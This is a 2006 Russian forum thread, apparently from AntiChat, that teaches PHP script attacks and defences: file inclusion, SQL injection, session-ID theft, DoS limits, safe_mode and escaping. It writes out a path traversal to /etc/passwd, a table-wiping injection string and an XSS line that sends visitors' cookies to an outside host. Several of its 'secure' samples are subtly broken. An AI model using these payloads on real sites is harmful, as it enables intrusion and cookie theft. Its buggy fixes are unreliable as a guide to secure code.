PDA

Просмотр полной версии : Основные методы взлома и защиты скриптов на Php


DIAgen
18.05.2006, 21:40
By DIAgen for AntiChat

Это вторая версия пособия, я решил переделать ее полностью, дополнить тем, что сам использую для написания скриптов. Однозначно можно сказать, что примеры в основном будут касаться защите, так как проще сломать, чем сделать.
Простите меня, если в некоторых местах будут погрешности.
"Хакеры - люди вполне порядочные, и занимаются взломом вовсе не для того, чтобы навредить кому-то. Чем раньше кто-то найдет уязвимость в вашей программе, тем скорее вы ее исправите, поэтому деятельность хакеров-профессионалов можно даже рассматривать как полезную."

Имена файлов в URL
Большинство скриптов используют вспомогательные файлы, которые должны быть загружены в зависимости от выполняемой операции. В большинстве случаев имена файлов фиксированные, но в некоторых случаях это не удобно. Для загрузки не фиксированных файлов используют GET переменные (полученные из форм браузера), которые содержат информацию для загрузки файлов.
Включаемы файлы. Простейший пример
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
include "page/$p";
Обращение к скрипту выглядит так:
.../index.php?p=news.php
Уязвимость заключается в том, что можно прочитать произвольные файлы на сервере.
.../index,php?p=../../../../../etc/passwd
На данный момент etc/passwd предоставляет мало интереса, по сравнению со старыми версиями LUNIX, эту уязвимость можно применить для отображения .htaccess файлов, файлов конфигурации и т.д.
Попытка защиты.
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
include "page/$p.php";
Это блокирует загрузку etc/passwd и .htaccess, но можно вызвать скрипт с параметром
.../index.php?p=../index
Вызовет зацикливание скрипта, так же можно подключить служебные файлы, расположенные в закрытой директории.
Включаемые файлы: allow_url_fopen
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
chdir("page");
include "$p.php";
В этом скрипте возможно выполнение удаленного файла на сервере
.../index.php?p=http://user.ru/load
Не чего хорошего от этого ожидать не приходится, для того что бы запретить удаленный include файлов нужно указать в настройках php.ini allow_url_fopen=OFF, однако это блокирует fopen() и file_get_contents().
Методы разрешения.
Во многих статьях написано, что рекомендуется использовать оператор switch, но использовать его не удобно по следующим причинам: при добавлении новой страницы придется редактировать index.php; пропустив случайно break, придется долго искать, в чем же ошибка.
Наиболее рациональный способом является Ограничение набора символов, который жестко ограничивает диапазон символов, которые могут присутствовать в имени файла.
$ras="php";
chdir("page");
$p=isset($_REQUEST['$p'])?$_REQUEST['$p']:'default';
$p=preg_replace('/[^a-z0-9_-]+/s','',$p);
if(!@is_file("$p.$ras")) $p="error";
include "$p.$ext";

SQL-Injection
Функции PHP для работы с базами данных далеки от совершенства, работая на прямую с ними, возможны ошибки, приводящие к появлению уязвимостей.
Для примера возьмем такой код:
$sql="DELETE FROM".TOPICS_TABLE."
WHERE topic_id='$topic_id'
OR topic_moved_id='$topic_id'";
if(!($result=$db->sql_query($sql)))
{
messge_die(GENERAL_ERROR, 'Error in deleting post',
'',_LINE_,_FILE_,$sql);
}
Переменная $topic_id приходит из формы, если подставить index.php?topic_id=1’+OR+1!=’
В результате запроса превратится в такой вид:
DELETE FROM php_topics
WHERE topic_id='1' OR 1!=''
OR topic_moved_id='1' OR 1!=''
При выполнении скрипта, очисться вся таблица в базе данных. Значение переменных вставляется не в качестве данных, а в качестве участка sql-кода, который и будет затем выполнен.
Предыдущий скрипт следует записать таким образом:
$sql="DELETE FROM".TOPICS_TABLE."
WHERE topic_id='".addslashes($topic_id)."'
OR topic_moved_id='".addslashes($topic_id)."'";
if(!($result=$db->sql_query($sql)))
{
messge_die(GENERAL_ERROR, 'Error in deleting post',
'',_LINE_,_FILE_,$sql);
}
Используя функцию addslashes(), которая экранирует символы «'».
Недостатки magic_quotrs_gpc.
Используя magic_quotrs_gpc все пришедшие переменные из формы, уже содержат слеши перед опасными символами( например «’» и «”»).
<form action="<?=$_SERVER['SCRIPT_NAME']?>">
<input type="text" name="n"
value="<?=@htmlspecialchars(stripslashes($_REQUESR['n']))?>">
<input type="submet">
</form>
Допустим, что хостер выключил magic_quotrs_gpc, и отправив anti\’s мы получим anti’s, слеш потерялся из-за stripslashes(), отсюда следует делать проверку на вызов stripslashes(), если ключен magic_quotrs_gpc.
Решение есть уже давно, вместо экранирования и вставки переменных в запрос на их место помещаются специальные маркеры, вот эти функции:
function mysql_qw() {
$args = func_get_args();
$conn = null;
if (is_resource($args[0])) $conn = array_shift($args);
$query = call_user_func_array("mysql_make_qw", $args);
return $conn!==null? mysql_query($query, $conn) : mysql_query($query);
}
function mysql_make_qw() {
$args = func_get_args();
$tmpl =& $args[0];
$tmpl = str_replace("%", "%%", $tmpl);
$tmpl = str_replace("?", "%s", $tmpl);
foreach ($args as $i=>$v) {
if (!$i) continue;
if (is_int($v)) continue;
$args[$i] = "'".mysql_escape_string($v)."'";
}
for ($i=$c=count($args)-1; $i<$c+20; $i++)
$args[$i+1] = "UNKNOWN_PLACEHOLDER_$i";
return call_user_func_array("sprintf", $args);
}
Вот не большой пример.
$name="' OR '1";
//Допустимы запрос
echo mysql_make_qw('DELETE FROM people WHERE name=?', $name)."<br>"
//Недопустимый запрос
echo mysql_make_qw('DELETE FROM people WHERE name=? OR ?', $name)."<br>"
mysql_qw('DELETE FROM people WHERE name=? OR ?', $name)
or die(mysql_error());
В результате получим:
DELETE FROM people WHERE name='\' OR \'1'
DELETE FROM people WHERE name='\' OR \'1 OR id=UNKTNOWN_PLACEHOLDER_1
Unknow column 'UNKNOWM_PLACEHOLDER_1' in 'where clause'
Теперь любая попытка выполнить такого вида запроса заранее обречена на не удачу.

Кража SID
Я не буду описывать использование SID, а сразу о проблеме. Если узнать SID другого пользователя, можно подставить его в Cookies или подставить в URL, а последствия можно представить.
Случайное указание SID
Сам владелец сессии может оставить ее в виде ссылки в форуме или в гостевой книге, из которой не удален SID.Зайдя по этой ссылки, становишься владельцем SID. Конечно SID удаляется, если пользователь не проявляет ни какой деятельности.
Уязвимости в html-шаблонах
Например возьмем гостевую книгу, сообщения записываются в файл, допустим что тест с файла выводится без htmlspecialchars(), добавив в гостевую книгу
<script>window.open("http://snifer.ru/get.php?"+document.cookie,'new')</script>
Благодаря этому можно получить Cookies других пользователей.
Привязка Sid к IP-адресу
Этот метод привязки к ip очень распространен
$_SESSION['author']=true;
$_SESSION[‘ip’]=$_SERVER['REMOTE_ADDR'];
С крипт предоставляющий доступ к определенному ресурсу
if(!empty($_SESSION['author'] && $SESSION['ip']
!=@SERVER ['REMOTE_ADDR'])) {
//Доступ к ресурсу открыт
} else die("Доступа нет");
Конечно и у этого метода есть свои недостатки.

Противостоянии DoS-атакам
Перейдем сразу к дела, просто про DoS-атаки можно найти везде. Мы рассмотрим как можно противостоять DoS-атакам.
Ограничении ресурсов
Элементарную DoS-атаку может случайно выполнить любой пользователь, если запустит скрипт содержащий ошибку, что может привести к зацикливанию скрипта или захвату ресурсов сервера. Для решения, можно применять в скриптах директивы, которые можно установить не только ini.php, но и в скрипте используя функцию ini_set().
set_memory_limit() memory_limit()
Эти функции ограничивают максимальный объем памяти, который разрешено выделять скрипту. При превышение этого объема, скрипт принудительно завершается
max_execution_time() set_time_limit()
Ограничивают время работы сценария

DetMyl
19.05.2006, 14:31
memory_limet() или set_memory_limet() которые можно установить используя функцию [PHP]
memory_limit()
set_memory_limit() ;)

DIAgen
19.05.2006, 14:36
Благодарю!

syntacsis
19.05.2006, 18:01
DIAgen
max_input_time

Но честно говоря, заявленная тема не особенно раскрыта )))
Всё равно + за старание

DIAgen
19.05.2006, 19:28
Статью можно дополнить, матерьала много, это была пробная версии, если комуто это пригодится, я могу доделать, статья будет большая! Ну извеняюсь за ошибки, просто я ее писал на скорую руку, и орфография именя не очень! Сегодня доделаю и скину!

Дикс
22.05.2006, 19:20
addslashes($topic_id)
а не лучше всегда юзать intval($topic_id) ?
тогда в скрипт вообще не попадут левые символы, при кривом запросе там будет 0.

DIAgen
22.05.2006, 19:29
а не лучше всегда юзать intval($topic_id) ?
тогда в скрипт вообще не попадут левые символы, при кривом запросе там будет 0.
Может и лучше, но я использую комбинированную функцию для проверки входных переменных:
function check( $str, $maxchar = 30)
{
$str = htmlspecialchars($str);
$str = substr( $str, 0, $maxchar );
$str = trim( $str );
$str = str_replace( "'", "", $str );
$str = str_replace( '"', "", $str );
$str = str_replace( "\n", "<BR>", $str );
return $str;
}

G1uK_R3@L
24.05.2006, 10:51
Насчёт инклуда, еще вариант -
Скрипту передаётся Id, и по Id делается выборка имени файла из БД, таким образом избегаем проблем и фильтруем уже Sql Inj, а не инклуд =) Так делаю я, если кому интересно могу пример скрипта дать.

DIAgen
28.05.2006, 12:30
Рассмотрим некоторые приемы и средства PHP, касающиеся безопасности. Здесь будут только некоторые моменты безопасности, так как все включить в одну статью не возможно. Я постарался все изложить кратко и доступно, я не включил сюда работу с register_global, работу с ошибками, и Basic авторизацию, так как это можно найти в любом учебнике по PHP. И такк начнем

Safe_mode
Права доступа к файлам – обычно задачу пытаются решить следующими действами
- Каждому клиенту заводится аккуант, т.е выдается пароль, логин и соответствующий ему числовой UID (User ID)
- Аккуанту выдается отдельная домашняя директория, принадлежащая только указанному пользователю
- Права на домашнюю директорию выставляются равными rw-------.
При таких правах механизм Unix обеспечивают невозможность захода пользователя в чужую директорию. Будем считать что каждый пользователь хранит данные своего сайта в домашней директории. Apache – это процесс, запущенный от лица системного пользователя httpd (иногда nobody). При поступлении запроса к любому сайту он работает именно под этим пользователем, и не имеет возможности переключиться на владельца сайта (по крайней мере, в стандартной поставке). Таким образом, чтобы файлы клиентов были доступны на чтение и запись пользователю httpd:
- устанавливать на директории более мягкие ограничения rwxrwx---
- входить в группу httpd, которой принадлежит и системный пользователь httpd
В итоге Apache может читать файлы клиентов, однако возникают серьезные проблемы:
- Каждый пользователь получает возможность манипулировать файлами чужого аккаунта.
- Если PHP-скрипт запущенный Apache создает какой-то файл, то его владельцем становится не пользователь аккаунта, а httpd.
- Права доступа на файлы должны, по крайней мере, разрешать чтение и запись для группы владельца файла, т.е для httpd, иначе PHP-скрипты не смогут нечего записывать в файлы, созданные пользователем в ручную.
Директивы safe_mode
В режиме safe_mode при открытии любого файла искусственно проверяет, имеет ли скрипт права это делать лил нет. С его точки зрения, файл можно прочитать, если его владелец (UID) совпадает с владельцем самого скрипта. Это порождает ужасную путаницу. Решение может дать директива:
Safe_mide_gid = OnЗаставляет PHP проверять не UID, а GID файлов, т.к группа владельца аккаунта равна httpd, расщепление файлов на закаченные по FTP и созданные скриптом не проявится в фатальной форме.
open_basedir = директория
может задавать внутри того или иного виртуального хоста. Она говорит PHP, что ему запрещено работать с файлами вне указанного каталога. Однако ведь не только PHP имеет возможность работы с файлами:
system(“echo hello>/home/usertwo/index.php”);
safe_node_exec_dir = директория
Она задает, из каких директорий запускать программы при помощи system().
Средство для запрета выполнения тех или иных функции PHP:
disable_functionc = функ1, функ 2, ...Только механизмы OC могут обеспечить по-настоящему надежную и защищенную среду выполнения сценариев.

Вставка форматирования в текст
Использование HtmlSpecialChars
Первая задача, которая стоит перед программистом, решить ограничить допустимое форматирование сообщения, тем или иными способ удалить из него HTML-тэги. Казалось бы, в PHP для этого имеется специальная функция
$test = strip_tags ($test);
Такой способ, однако очень плох! Дело в том, что strip_tags() использует весьма примитивный алгоритм для вырезания тэгов, а потому в некоторых случаях ее можно обмануть.
Единственно правильный и гарантированный способ удаления HTML-тэгов из сообщения погасить или экранировать их, так чтобы браузер не воспринимал боле текст, как содержащий тэги. Для этого достаточно выполнить следующие замены:
& --> &amp;
< --> &lt;
> --> &gt;
После этого все тэги, имеющиеся в тексте, потеряют свой специальный смысл и превратятся в обычные символьные цепочки. Производит такую замену функция PHP HtmlSpecialChars()
Разрешение ограниченного форматирования
Как теперь разрешить к примеру, тэги <b>…</b> и <i>…</i> и запретить все остальные, это можно решить следующим образом
$test = htmlspecialchars($text);
$text = preg_replace (‘{&lt;(/?(b|i))&gt;}si’, ‘<$I>’, $test);
BBCode
Существует и другой прием разрешения ограниченного форматирования текста. Исторически он называется BBCode и заключается во вставке псевдотэгов в сообщение, которые в дальнейшем, уде после обработки htmlspecialchars() заменяются на нормальные HTML тэги.

Директива .htaccess
Приведу основные примеры которые могут помочь в безопасности
Запрет на открытие произвольных файлов в данной директории
deny from all
Разрешить доступ к директории
allow from all
Запрет на выполнение PHP-скриптов в директории, в место этого будут показываться их содержание
AddType application/x-httpd-php-sourse .php